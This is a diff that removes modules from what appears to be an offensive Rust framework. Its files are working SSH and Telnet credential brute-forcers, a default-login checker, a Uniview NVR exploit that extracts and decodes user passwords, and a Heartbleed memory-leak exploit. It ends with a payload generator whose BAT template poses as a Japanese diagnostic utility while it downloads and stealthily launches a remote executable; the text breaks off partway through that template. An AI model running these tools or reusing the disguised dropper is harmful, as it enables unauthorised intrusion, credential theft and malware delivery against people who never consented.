-        path = path_str.trim_start_matches('/'), // avoid double slash
-        auth = credentials,
-    );
-
-    // Append extra headers if advanced mode is on
-    for header in extra_headers {
-        // We assume each line in extra_headers is valid, e.g. "User-Agent: MyCameraClient"
-        request.push_str(header);
-        if !header.ends_with("\r\n") {
-            request.push_str("\r\n");
-        }
-    }
-
-    // End with a blank line
-    request.push_str("\r\n");
-
-    // Send request
-    stream.write_all(request.as_bytes()).await?;
-
-    // Read response
-    let mut buffer = [0u8; 2048];
-    let n = stream.read(&mut buffer).await?;
-    if n == 0 {
-        return Err(anyhow!("Server closed connection unexpectedly."));
-    }
-    let response = String::from_utf8_lossy(&buffer[..n]);
-
-    // Very naive checks
-    if response.contains("200 OK") {
-        Ok(true)
-    } else if response.contains("401") || response.contains("403") {
-        Ok(false)
-    } else {
-        Err(anyhow!("Unexpected RTSP response:\n{}", response))
-    }
-}
-
-/// Prompts the user for a required field (no default allowed).
-fn prompt_required(msg: &str) -> Result<String> {
-    loop {
-        print!("{}: ", msg);
-        std::io::Write::flush(&mut std::io::stdout())?;
-        let mut s = String::new();
-        std::io::stdin().read_line(&mut s)?;
-        let trimmed = s.trim();
-        if !trimmed.is_empty() {
-            return Ok(trimmed.to_string());
-        } else {
-            println!("This field is required.");
-        }
-    }
-}
-
-/// Prompts the user for a value with a default fallback.
-fn prompt_default(msg: &str, default: &str) -> Result<String> {
-    print!("{} [{}]: ", msg, default);
-    std::io::Write::flush(&mut std::io::stdout())?;
-    let mut s = String::new();
-    std::io::stdin().read_line(&mut s)?;
-    let trimmed = s.trim();
-    Ok(if trimmed.is_empty() {
-        default.to_string()
-    } else {
-        trimmed.to_string()
-    })
-}
-
-/// Prompts the user for a yes/no question, with a default answer.
-fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
-    let default = if default_yes { "y" } else { "n" };
-    loop {
-        print!("{} (y/n) [{}]: ", msg, default);
-        std::io::Write::flush(&mut std::io::stdout())?;
-        let mut s = String::new();
-        std::io::stdin().read_line(&mut s)?;
-        let input = s.trim().to_lowercase();
-        if input.is_empty() {
-            return Ok(default_yes);
-        } else if input == "y" || input == "yes" {
-            return Ok(true);
-        } else if input == "n" || input == "no" {
-            return Ok(false);
-        } else {
-            println!("Invalid input. Please enter 'y' or 'n'.");
-        }
-    }
-}
-
-/// Loads a file, returning non-empty lines in a Vec.
-fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
-    let file = File::open(path)?;
-    let reader = BufReader::new(file);
-    Ok(reader
-        .lines()
-        .filter_map(Result::ok)
-        .map(|l| l.trim().to_string())
-        .filter(|l| !l.is_empty())
-        .collect())
-}
-
-/// Prints log messages only in verbose mode.
-fn log(verbose: bool, msg: &str) {
-    if verbose {
-        println!("{}", msg);
-    }
-}
-
-/// Returns a PathBuf in the current directory for the given filename.
-fn get_filename_in_current_dir(input: &str) -> PathBuf {
-    let name = Path::new(input)
-        .file_name()
-        .unwrap_or_default()
-        .to_string_lossy()
-        .to_string();
-    PathBuf::from(format!("./{}", name))
-}

src/modules/creds/generic/sample_cred_check.rs

@@ -1,26 +0,0 @@
-use anyhow::{Result, Context};
-use reqwest;
-
-/// A sample credential check - tries a basic auth login
-pub async fn run(target: &str) -> Result<()> {
-    println!("[*] Checking default creds on: {}", target);
-
-    let url = format!("http://{}/login", target);
-    let client = reqwest::Client::new();
-
-    // Hypothetical login using "admin:admin"
-    let resp = client
-        .post(&url)
-        .basic_auth("admin", Some("admin"))
-        .send()
-        .await
-        .context("Failed to send login request")?;
-
-    if resp.status().is_success() {
-        println!("[+] Default credentials admin:admin are valid!");
-    } else {
-        println!("[-] Default credentials admin:admin failed.");
-    }
-
-    Ok(())
-}

src/modules/creds/generic/ssh_bruteforce.rs

@@ -1,240 +0,0 @@
-use anyhow::{anyhow, Result};
-use ssh2::Session;
-use std::{
-    fs::File,
-    io::{BufRead, BufReader, Write},
-    net::TcpStream,
-    path::{Path, PathBuf},
-    sync::Arc,
-};
-use tokio::{
-    sync::Mutex,
-    task::spawn_blocking,
-    time::{sleep, Duration},
-};
-
-pub async fn run(target: &str) -> Result<()> {
-    println!("=== SSH Brute Force Module ===");
-    println!("[*] Target: {}", target);
-
-    let port: u16 = loop {
-        let input = prompt_default("SSH Port", "22")?;
-        match input.parse() {
-            Ok(p) => break p,
-            Err(_) => println!("Invalid port. Try again."),
-        }
-    };
-
-    let usernames_file = prompt_required("Username wordlist")?;
-    let passwords_file = prompt_required("Password wordlist")?;
-
-    let concurrency: usize = loop {
-        let input = prompt_default("Max concurrent tasks", "10")?;
-        match input.parse() {
-            Ok(n) if n > 0 => break n,
-            _ => println!("Invalid number. Try again."),
-        }
-    };
-
-    let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
-    let save_results = prompt_yes_no("Save results to file?", true)?;
-    let save_path = if save_results {
-        Some(prompt_default("Output file", "ssh_results.txt")?)
-    } else {
-        None
-    };
-    let verbose = prompt_yes_no("Verbose mode?", false)?;
-    let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
-
-    let addr = format!("{}:{}", target, port);
-    let found = Arc::new(Mutex::new(Vec::new()));
-    let stop = Arc::new(Mutex::new(false));
-
-    println!("\n[*] Starting brute-force on {}", addr);
-
-    let users = load_lines(&usernames_file)?;
-    let pass_file = File::open(&passwords_file)?;
-    let pass_buf = BufReader::new(pass_file);
-    let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
-
-    let mut idx = 0;
-    for pass in pass_lines {
-        if *stop.lock().await {
-            break;
-        }
-
-        let userlist = if combo_mode {
-            users.clone()
-        } else {
-            vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
-        };
-
-        let mut handles = vec![];
-
-        for user in userlist {
-            let addr = addr.clone();
-            let user = user.clone();
-            let pass = pass.clone();
-            let found = Arc::clone(&found);
-            let stop = Arc::clone(&stop);
-
-            let handle = tokio::spawn(async move {
-                if *stop.lock().await {
-                    return;
-                }
-
-                match try_ssh_login(&addr, &user, &pass).await {
-                    Ok(true) => {
-                        println!("[+] {} -> {}:{}", addr, user, pass);
-                        found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
-                        if stop_on_success {
-                            *stop.lock().await = true;
-                        }
-                    }
-                    Ok(false) => {
-                        log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
-                    }
-                    Err(e) => {
-                        log(verbose, &format!("[!] {}: error: {}", addr, e));
-                    }
-                }
-
-                sleep(Duration::from_millis(10)).await;
-            });
-
-            handles.push(handle);
-
-            if handles.len() >= concurrency {
-                for h in handles.drain(..) {
-                    let _ = h.await;
-                }
-            }
-        }
-
-        for h in handles {
-            let _ = h.await;
-        }
-
-        idx += 1;
-    }
-
-    let creds = found.lock().await;
-    if creds.is_empty() {
-        println!("\n[-] No credentials found.");
-    } else {
-        println!("\n[+] Valid credentials:");
-        for (host, user, pass) in creds.iter() {
-            println!("    {} -> {}:{}", host, user, pass);
-        }
-
-        if let Some(path) = save_path {
-            let filename = get_filename_in_current_dir(&path);
-            let mut file = File::create(&filename)?;
-            for (host, user, pass) in creds.iter() {
-                writeln!(file, "{} -> {}:{}", host, user, pass)?;
-            }
-            println!("[+] Results saved to '{}'", filename.display());
-        }
-    }
-
-    Ok(())
-}
-
-async fn try_ssh_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
-    let addr = addr.to_string();
-    let user = user.to_string();
-    let pass = pass.to_string();
-
-    let result = spawn_blocking(move || {
-        match TcpStream::connect(&addr) {
-            Ok(tcp) => {
-                let mut sess = Session::new()?; // ✅ fixed here
-                sess.set_tcp_stream(tcp);
-                sess.handshake()?;
-                match sess.userauth_password(&user, &pass) {
-                    Ok(_) => Ok(sess.authenticated()),
-                    Err(_) => Ok(false),
-                }
-            }
-            Err(e) => Err(anyhow!("Connection error: {}", e)),
-        }
-    })
-    .await??;
-
-    Ok(result)
-}
-
-// === Utility Functions ===
-
-fn prompt_required(msg: &str) -> Result<String> {
-    loop {
-        print!("{}: ", msg);
-        std::io::Write::flush(&mut std::io::stdout())?;
-        let mut s = String::new();
-        std::io::stdin().read_line(&mut s)?;
-        let trimmed = s.trim();
-        if !trimmed.is_empty() {
-            return Ok(trimmed.to_string());
-        } else {
-            println!("This field is required.");
-        }
-    }
-}
-
-fn prompt_default(msg: &str, default: &str) -> Result<String> {
-    print!("{} [{}]: ", msg, default);
-    std::io::Write::flush(&mut std::io::stdout())?;
-    let mut s = String::new();
-    std::io::stdin().read_line(&mut s)?;
-    let trimmed = s.trim();
-    Ok(if trimmed.is_empty() {
-        default.to_string()
-    } else {
-        trimmed.to_string()
-    })
-}
-
-fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
-    let default = if default_yes { "y" } else { "n" };
-    loop {
-        print!("{} (y/n) [{}]: ", msg, default);
-        std::io::Write::flush(&mut std::io::stdout())?;
-        let mut s = String::new();
-        std::io::stdin().read_line(&mut s)?;
-        let input = s.trim().to_lowercase();
-        if input.is_empty() {
-            return Ok(default_yes);
-        } else if input == "y" || input == "yes" {
-            return Ok(true);
-        } else if input == "n" || input == "no" {
-            return Ok(false);
-        } else {
-            println!("Invalid input. Please enter 'y' or 'n'.");
-        }
-    }
-}
-
-fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
-    let file = File::open(path)?;
-    let reader = BufReader::new(file);
-    Ok(reader
-        .lines()
-        .filter_map(Result::ok)
-        .filter(|l| !l.trim().is_empty())
-        .collect())
-}
-
-fn log(verbose: bool, msg: &str) {
-    if verbose {
-        println!("{}", msg);
-    }
-}
-
-fn get_filename_in_current_dir(input: &str) -> PathBuf {
-    let name = Path::new(input)
-        .file_name()
-        .unwrap_or_default()
-        .to_string_lossy()
-        .to_string();
-    PathBuf::from(format!("./{}", name))
-}

src/modules/creds/generic/telnet_bruteforce.rs

@@ -1,217 +0,0 @@
-use anyhow::{Result, Context};
-use std::fs::{File, OpenOptions};
-use std::io::{self, BufRead, BufReader, Write};
-use std::net::ToSocketAddrs;
-use std::sync::{Arc, Mutex};
-use telnet::Event;
-use threadpool::ThreadPool;
-use crossbeam_channel::{unbounded};
-use telnet::Telnet;
-
-pub async fn run(target: &str) -> Result<()> {
-    println!("\n=== Telnet Bruteforce Module (RustSploit) ===\n");
-
-    let target = target.to_string();
-    let port = prompt("Port (default 23): ").parse().unwrap_or(23);
-    let username_wordlist = prompt("Username wordlist file: ");
-    let password_wordlist = prompt("Password wordlist file: ");
-    let threads = prompt("Number of threads (default 8): ").parse().unwrap_or(8);
-    let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
-    let full_combo = prompt("Try every username with every password? (y/n): ").trim().eq_ignore_ascii_case("y");
-    let verbose = prompt("Verbose mode? (y/n): ").trim().eq_ignore_ascii_case("y");
-
-    let config = TelnetBruteforceConfig {
-        target,
-        port,
-        username_wordlist,
-        password_wordlist,
-        threads,
-        stop_on_success,
-        verbose,
-        full_combo,
-    };
-
-    run_telnet_bruteforce(config)
-}
-
-#[derive(Clone)]
-struct TelnetBruteforceConfig {
-    target: String,
-    port: u16,
-    username_wordlist: String,
-    password_wordlist: String,
-    threads: usize,
-    stop_on_success: bool,
-    verbose: bool,
-    full_combo: bool,
-}
-
-fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
-    let addr = format!("{}:{}", config.target, config.port);
-    let socket_addr = addr
-        .to_socket_addrs()
-        .context("Invalid target address")?
-        .next()
-        .context("Unable to resolve target address")?;
-
-    println!("\n[*] Starting Telnet bruteforce on {}", socket_addr);
-
-    let usernames = read_lines(&config.username_wordlist)?;
-    let passwords = read_lines(&config.password_wordlist)?;
-
-    let creds = Arc::new(Mutex::new(Vec::new()));
-    let stop_flag = Arc::new(Mutex::new(false));
-    let pool = ThreadPool::new(config.threads);
-    let (tx, rx) = unbounded();
-
-    if config.full_combo {
-        for user in &usernames {
-            for pass in &passwords {
-                tx.send((user.clone(), pass.clone()))?;
-            }
-        }
-    } else {
-        if usernames.len() == 1 {
-            for pass in &passwords {
-                tx.send((usernames[0].clone(), pass.clone()))?;
-            }
-        } else if passwords.len() == 1 {
-            for user in &usernames {
-                tx.send((user.clone(), passwords[0].clone()))?;
-            }
-        } else {
-            println!("[!] Warning: Multiple usernames and passwords loaded, but full_combo is OFF. Trying first username with all passwords.");
-            for pass in &passwords {
-                tx.send((usernames[0].clone(), pass.clone()))?;
-            }
-        }
-    }
-
-    drop(tx);
-
-    for _ in 0..config.threads {
-        let rx = rx.clone();
-        let addr = addr.clone();
-        let stop_flag = Arc::clone(&stop_flag);
-        let creds = Arc::clone(&creds);
-        let config = config.clone();
-
-        pool.execute(move || {
-            while let Ok((username, password)) = rx.recv() {
-                if *stop_flag.lock().unwrap() {
-                    break;
-                }
-
-                if config.verbose {
-                    println!("[*] Trying {}:{}", username, password);
-                }
-
-                match try_telnet_login(&addr, &username, &password) {
-                    Ok(true) => {
-                        println!("[+] Valid credentials: {}:{}", username, password);
-                        creds.lock().unwrap().push((username, password));
-
-                        if config.stop_on_success {
-                            *stop_flag.lock().unwrap() = true;
-                            break;
-                        }
-                    }
-                    Ok(false) => {}
-                    Err(e) => {
-                        if config.verbose {
-                            eprintln!("[!] Error: {}", e);
-                        }
-                    }
-                }
-            }
-        });
-    }
-
-    pool.join();
-
-    let creds = creds.lock().unwrap();
-    if creds.is_empty() {
-        println!("[-] No valid credentials found.");
-    } else {
-        println!("\n[+] Found credentials:");
-        for (u, p) in creds.iter() {
-            println!(" - {}:{}", u, p);
-        }
-
-        let save = prompt("\n[?] Save credentials to file? (y/n): ");
-        if save.trim().eq_ignore_ascii_case("y") {
-            let filename = prompt("Enter filename to save: ");
-            if let Err(e) = save_results(&filename, &creds) {
-                eprintln!("[!] Failed to save results: {}", e);
-            } else {
-                println!("[+] Results saved to '{}'", filename);
-            }
-        }
-    }
-
-    Ok(())
-}
-
-fn try_telnet_login(addr: &str, username: &str, password: &str) -> Result<bool> {
-    let mut connection = Telnet::connect((addr, 23), 256)
-        .context("Failed to connect to Telnet server")?;
-
-    let mut login_prompt_seen = false;
-    let mut pass_prompt_seen = false;
-
-    for _ in 0..10 {
-        let event = connection.read().context("Failed to read from Telnet")?;
-
-        match event {
-            Event::Data(buffer) => {
-                let output = String::from_utf8_lossy(&buffer).to_lowercase();
-
-                if !login_prompt_seen && (output.contains("login:") || output.contains("username")) {
-                    connection.write(format!("{}\n", username).as_bytes())?;
-                    login_prompt_seen = true;
-                } else if login_prompt_seen && !pass_prompt_seen && output.contains("password") {
-                    connection.write(format!("{}\n", password).as_bytes())?;
-                    pass_prompt_seen = true;
-                } else if pass_prompt_seen {
-                    // Look for signs of successful or failed login
-                    if output.contains("incorrect")
-                        || output.contains("failed")
-                        || output.contains("denied")
-                    {
-                        return Ok(false);
-                    } else if output.contains("last login")
-                        || output.contains("$")
-                        || output.contains("welcome")
-                        || output.contains("#")
-                    {
-                        return Ok(true);
-                    }
-                }
-            }
-            _ => {}
-        }
-    }
-
-    Ok(false)
-}
-
-fn read_lines(path: &str) -> Result<Vec<String>> {
-    let file = File::open(path).context(format!("Unable to open {}", path))?;
-    Ok(BufReader::new(file).lines().filter_map(Result::ok).collect())
-}
-
-fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
-    let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
-    for (u, p) in creds {
-        writeln!(file, "{}:{}", u, p)?;
-    }
-    Ok(())
-}
-
-fn prompt(message: &str) -> String {
-    print!("{}", message);
-    io::stdout().flush().unwrap();
-    let mut input = String::new();
-    io::stdin().read_line(&mut input).unwrap();
-    input.trim().to_string()
-}

src/modules/creds/mod.rs

@@ -1,2 +0,0 @@
-pub mod generic; // <-- lowercase folder name
-pub mod camera;

src/modules/exploits/camera/mod.rs

@@ -1 +0,0 @@
-pub mod uniview_nvr_pwd_disclosure;

src/modules/exploits/camera/uniview_nvr_pwd_disclosure.rs

@@ -1,147 +0,0 @@
-use anyhow::{anyhow, Context, Result};
-use reqwest::Client;
-use std::collections::HashMap;
-use std::fs::OpenOptions;
-use std::io::Write;
-use quick_xml::events::Event;
-use quick_xml::name::QName;
-use quick_xml::Reader;
-
-/// Reverses the Uniview custom encoded password
-fn decode_pass(encoded: &str) -> String {
-    let map: HashMap<&str, &str> = [
-        ("77", "1"), ("78", "2"), ("79", "3"), ("72", "4"), ("73", "5"), ("74", "6"),
-        ("75", "7"), ("68", "8"), ("69", "9"), ("76", "0"), ("93", "!"), ("60", "@"),
-        ("95", "#"), ("88", "$"), ("89", "%"), ("34", "^"), ("90", "&"), ("86", "*"),
-        ("84", "("), ("85", ")"), ("81", "-"), ("35", "_"), ("65", "="), ("87", "+"),
-        ("83", "/"), ("32", "\\"), ("0", "|"), ("80", ","), ("70", ":"), ("71", ";"),
-        ("7", "{"), ("1", "}"), ("82", "."), ("67", "?"), ("64", "<"), ("66", ">"),
-        ("2", "~"), ("39", "["), ("33", "]"), ("94", "\""), ("91", "'"), ("28", "`"),
-        ("61", "A"), ("62", "B"), ("63", "C"), ("56", "D"), ("57", "E"), ("58", "F"),
-        ("59", "G"), ("52", "H"), ("53", "I"), ("54", "J"), ("55", "K"), ("48", "L"),
-        ("49", "M"), ("50", "N"), ("51", "O"), ("44", "P"), ("45", "Q"), ("46", "R"),
-        ("47", "S"), ("40", "T"), ("41", "U"), ("42", "V"), ("43", "W"), ("36", "X"),
-        ("37", "Y"), ("38", "Z"), ("29", "a"), ("30", "b"), ("31", "c"), ("24", "d"),
-        ("25", "e"), ("26", "f"), ("27", "g"), ("20", "h"), ("21", "i"), ("22", "j"),
-        ("23", "k"), ("16", "l"), ("17", "m"), ("18", "n"), ("19", "o"), ("12", "p"),
-        ("13", "q"), ("14", "r"), ("15", "s"), ("8", "t"), ("9", "u"), ("10", "v"),
-        ("11", "w"), ("4", "x"), ("5", "y"), ("6", "z"),
-    ]
-    .iter()
-    .cloned()
-    .collect();
-
-    encoded
-        .split(';')
-        .filter_map(|c| if c == "124" { None } else { map.get(c).copied() })
-        .collect()
-}
-
-pub async fn run(target: &str) -> Result<()> {
-    println!("\nUniview NVR remote passwords disclosure!");
-    println!("Author: B1t (ported to Rust)\n");
-
-    // Ensure the target has a proper scheme
-    let target = if target.starts_with("http://") || target.starts_with("https://") {
-        target.to_string()
-    } else {
-        format!("http://{}", target)
-    };
-
-    let client = Client::builder()
-        .danger_accept_invalid_certs(true)
-        .timeout(std::time::Duration::from_secs(10))
-        .build()
-        .context("Failed to build HTTP client")?;
-
-    println!("[+] Getting model name and software version...");
-
-    let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target);
-    let version_resp = client.get(&version_url).send().await?;
-    let version_text = version_resp.text().await?;
-
-    let model = version_text
-        .split("szDevName\":\"")
-        .nth(1)
-        .and_then(|s| s.split('"').next())
-        .unwrap_or("Unknown");
-
-    let sw_ver = version_text
-        .split("szSoftwareVersion\":\"")
-        .nth(1)
-        .and_then(|s| s.split('"').next())
-        .unwrap_or("Unknown");
-
-    println!("Model: {}", model);
-    println!("Software Version: {}", sw_ver);
-
-    let mut log = OpenOptions::new()
-        .create(true)
-        .append(true)
-        .open("nvr-success.txt")
-        .context("Unable to open success.txt log file")?;
-
-    writeln!(log, "\n==== Uniview NVR ====").ok();
-    writeln!(log, "Target: {}", target).ok();
-    writeln!(log, "Model: {}", model).ok();
-    writeln!(log, "Software Version: {}", sw_ver).ok();
-
-    println!("\n[+] Getting configuration file...");
-    let config_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":255,\"szUserName\":\"\",\"u32UserLoginHandle\":8888888888}}", target);
-    let config_resp = client.get(&config_url).send().await?;
-    let config_text = config_resp.text().await?;
-
-    let mut reader = Reader::from_str(&config_text);
-    reader.config_mut().trim_text(true);
-
-    let mut total_users = 0;
-
-    println!("\n[+] Extracting users' hashes and decoding reversible strings:\n");
-    println!("User\t\t|\tHash\t\t\t\t\t|\tPassword");
-    println!("_____________________________________________________________________________");
-
-    writeln!(log, "\nUser\t\t|\tHash\t\t\t\t\t|\tPassword").ok();
-    writeln!(log, "_____________________________________________________________________________").ok();
-
-    loop {
-        match reader.read_event() {
-            Ok(Event::Empty(ref e)) if e.name() == QName(b"User") => {
-                let mut username = String::new();
-                let mut userpass = String::new();
-                let mut revpass = String::new();
-
-                for attr in e.attributes().flatten() {
-                    match attr.key {
-                        k if k == QName(b"UserName") => {
-                            username = std::str::from_utf8(&attr.value)?.to_string();
-                        }
-                        k if k == QName(b"UserPass") => {
-                            userpass = std::str::from_utf8(&attr.value)?.to_string();
-                        }
-                        k if k == QName(b"RvsblePass") => {
-                            revpass = std::str::from_utf8(&attr.value)?.to_string();
-                        }
-                        _ => {}
-                    }
-                }
-
-                let decoded = decode_pass(&revpass);
-                println!("{:<12}|\t{:<34}|\t{}", username, userpass, decoded);
-                writeln!(log, "{:<12}|\t{:<34}|\t{}", username, userpass, decoded).ok();
-
-                total_users += 1;
-            }
-            Ok(Event::Eof) => break,
-            Err(e) => return Err(anyhow!("XML parse error: {}", e)),
-            _ => {}
-        }
-    }
-
-    println!("\n[+] Number of users found: {}", total_users);
-    writeln!(log, "\n[+] Number of users found: {}", total_users).ok();
-
-    println!("\n*Note: 'default' and 'HAUser' users may not be accessible remotely.\n");
-    writeln!(log, "*Note: 'default' and 'HAUser' users may not be accessible remotely.\n").ok();
-
-    Ok(())
-}

src/modules/exploits/generic/heartbleed.rs

@@ -1,150 +0,0 @@
-use anyhow::{Result, Context};
-use std::fs::File;
-use std::io::Write;
-use std::net::ToSocketAddrs;
-use std::path::Path;
-use std::time::{SystemTime, UNIX_EPOCH};
-use tokio::io::{AsyncReadExt, AsyncWriteExt};
-use tokio::net::TcpStream;
-use tokio::time::{timeout, Duration};
-
-pub async fn run(target: &str, port: u16) -> Result<()> {
-    println!("[*] Connecting to {}:{}...", target, port);
-    let addr = format!("{}:{}", target, port);
-    let socket_addr = addr
-        .to_socket_addrs()
-        .context("Invalid target address format")?
-        .next()
-        .context("Could not resolve target address")?;
-
-    let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
-    let mut stream = match stream_result {
-        Ok(Ok(s)) => s,
-        Ok(Err(e)) => {
-            println!("[-] Connection to {} failed: {}", socket_addr, e);
-            return Ok(());
-        }
-        Err(_) => {
-            println!("[-] Connection to {} timed out", socket_addr);
-            return Ok(());
-        }
-    };
-
-    println!("[*] Sending Client Hello...");
-    let hello = build_client_hello();
-    stream.write_all(&hello).await?;
-
-    let mut response = vec![0u8; 4096];
-    let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
-    match read_result {
-        Ok(Ok(n)) if n > 0 => { /* Client Hello response received, continue */ },
-        Ok(Ok(_)) => {
-            println!("[-] No response to Client Hello");
-            return Ok(());
-        }
-        Ok(Err(e)) => {
-            println!("[-] Read error: {}", e);
-            return Ok(());
-        }
-        Err(_) => {
-            println!("[-] Read timed out (Client Hello response)");
-            return Ok(());
-        }
-    }
-
-    println!("[*] Sending Heartbeat...");
-    let heartbeat = build_heartbeat_request(0x4000);
-    stream.write_all(&heartbeat).await?;
-
-    let mut leak = vec![0u8; 65535];
-    let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
-    let n = match read_result {
-        Ok(Ok(n)) if n > 0 => n,
-        Ok(Ok(_)) => {
-            println!("[-] No heartbeat response.");
-            return Ok(());
-        }
-        Ok(Err(e)) => {
-            println!("[-] Read error: {}", e);
-            return Ok(());
-        }
-        Err(_) => {
-            println!("[-] Read timed out (heartbeat response)");
-            return Ok(());
-        }
-    };
-
-    println!("[+] Received {} bytes in heartbeat response!", n);
-    let filename = format!("leak_dump_{}.bin", target.replace(":", "_"));
-    let path = Path::new(&filename);
-    let mut file = File::create(path)
-        .with_context(|| format!("Failed to create dump file '{}'", filename))?;
-    file.write_all(&leak[..n])
-        .with_context(|| format!("Failed to write leak data to '{}'", filename))?;
-    println!("[+] Leak dump saved to: {}", filename);
-    println!("{}", printable_dump(&leak[..n]));
-
-    Ok(())
-}
-
-fn build_client_hello() -> Vec<u8> {
-    let version: u16 = 0x0302;
-    let time_now = SystemTime::now().duration_since(UNIX_EPOCH).unwrap().as_secs() as u32;
-    let mut random = vec![];
-    random.extend_from_slice(&time_now.to_be_bytes());
-    random.extend_from_slice(&vec![0x42; 28]);
-
-    let cipher_suites: Vec<u16> = vec![
-        0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001,
-    ];
-
-    let mut hello = vec![];
-    hello.extend_from_slice(&version.to_be_bytes());
-    hello.extend_from_slice(&random);
-    hello.push(0);
-    hello.extend_from_slice(&(cipher_suites.len() as u16 * 2).to_be_bytes());
-    for cs in &cipher_suites {
-        hello.extend_from_slice(&cs.to_be_bytes());
-    }
-    hello.push(1);
-    hello.push(0);
-
-    let mut extensions = vec![];
-    extensions.extend_from_slice(&0x000f_u16.to_be_bytes());
-    extensions.extend_from_slice(&0x0001_u16.to_be_bytes());
-    extensions.push(0x01);
-
-    hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes());
-    hello.extend_from_slice(&extensions);
-
-    let mut handshake = vec![0x01];
-    let len = (hello.len() as u32).to_be_bytes();
-    handshake.extend_from_slice(&len[1..]);
-    handshake.extend_from_slice(&hello);
-
-    build_tls_record(0x16, version, &handshake)
-}
-
-fn build_heartbeat_request(length: u16) -> Vec<u8> {
-    let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
-    payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
-    build_tls_record(0x18, 0x0302, &payload)
-}
-
-fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
-    let mut record = vec![record_type];
-    record.extend_from_slice(&version.to_be_bytes());
-    record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
-    record.extend_from_slice(payload);
-    record
-}
-
-fn printable_dump(data: &[u8]) -> String {
-    data.iter()
-        .map(|b| match *b {
-            32..=126 => *b as char,
-            b'\n' | b'\r' | b'\t' => ' ',
-            _ => '.',
-        })
-        .collect()
-}

src/modules/exploits/generic/mod.rs

@@ -1 +0,0 @@
-pub mod heartbleed;

src/modules/exploits/mod.rs

@@ -1,4 +0,0 @@
-pub mod generic;
-pub mod sample_exploit;
-pub mod payloadgens;
-pub mod camera;

src/modules/exploits/payloadgens/mod.rs

@@ -1 +0,0 @@
-pub mod payloadgenbat;

src/modules/exploits/payloadgens/payloadgenbat.rs

@@ -1,133 +0,0 @@
-//! Build a two‑stage prank/diagnostic BAT script with stealth download & run.
-//! Prompts for: output .bat, GitHub raw URL (.EXE), and output .ps1 name.
-
-use anyhow::{Context, Result};
-use std::fs;
-use std::io::{self, Write};
-
-/// Read a trimmed line from stdin
-fn prompt(msg: &str) -> Result<String> {
-    print!("{msg}");
-    io::stdout().flush().ok();
-    let mut buf = String::new();
-    io::stdin().read_line(&mut buf)?;
-    Ok(buf.trim().to_owned())
-}
-
-/// Build the BAT contents (injecting URL & PS1 filename)
-fn build_script(url: &str, ps1_name: &str) -> String {
-    // Template with placeholders {{URL}} and {{OUTFILE}}
-    let tpl = r#"@echo off
-setlocal enabledelayedexpansion
-title [管理者診断ユーティリティ]
-color 0A
-
-echo =====================================================
-echo           管理者用ネットワーク／システム診断ユーティリティ
-echo =====================================================
-echo [+] 初期化中...
-timeout /t 2 >nul
-
-:: Fake diagnostic functions
-echo [INFO] ネットワークスタック確認中...
-netsh winsock show catalog >nul
-echo [INFO] システムリソースの照会...
-fsutil behavior query DisableDeleteNotify >nul
-echo [INFO] DCOM設定の確認...
-dcomcnfg /32 >nul
-timeout /t 1 >nul
-
-echo [INFO] ユーザーアクティビティを確認中...
-wevtutil qe Security "/q:*[System[(EventID=4624)]]" /f:text /c:1 >nul
-timeout /t 1 >nul
-
-echo [INFO] 不審な接続をスキャン中...
-netstat -bno >nul
-route print >nul
-timeout /t 1 >nul
-
-echo [INFO] システムサービス確認中...
-sc queryex type= service >nul
-timeout /t 1 >nul
-
-echo [INFO] WMI チェック中...
-wmic logicaldisk get caption,filesystem,freespace,size >nul
-timeout /t 1 >nul
-
-:: 50x random sub-sleeps
-echo [*] 詳細検証を実行中... (50 ステップ)
-for /l %%i in (1,1,50) do (
-    set /a delay=(%%RANDOM%% %% 60) + 120
-    powershell -Command "Start-Sleep -Milliseconds !delay!"
-)
-
-:: Random delay before launching stage 2
-set /a mainDelay=(%%RANDOM%% %% 4) + 3
-echo [INFO] 補助診断モジュールを準備中... (%%mainDelay%% 秒後に実行)
-timeout /t %%mainDelay%% >nul
-
-:: Build second stage BAT (stage2.bat)
-set "stage2=%%~dp0stage2.bat"
-(
-    echo @echo off
-    echo setlocal enabledelayedexpansion
-    echo title 補助診断モジュール
-    echo echo [*] ネットワークテストを再実行中...
-    echo ping -n 2 1.1.1.1 ^>nul
-    echo tracert -h 2 8.8.8.8
-    echo ipconfig /flushdns
-    echo timeout /t 2 ^>nul
-    echo echo [*] ランダム遅延を実行中...
-    echo set /a delay2=(^%%RANDOM^%% %% 8) + 3
-    echo timeout /t !delay2! ^>nul
-    echo echo [*] GitHub からモジュールを取得中...
-    echo set "url={{URL}}"
-    echo set "outfile=%%~dp0{{OUTFILE}}"
-    echo powershell -Command ^
-        "try { Invoke-WebRequest -Uri '!url!' -OutFile '!outfile!' -UseBasicParsing } catch { " ^
-        "try { Start-BitsTransfer -Source '!url!' -Destination '!outfile!' } catch { " ^
-        "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('!url!', '!outfile!') }}"
-    echo timeout /t 2 ^>nul
-    echo echo [*] ステルス起動用VBSを生成中...
-    echo ^(
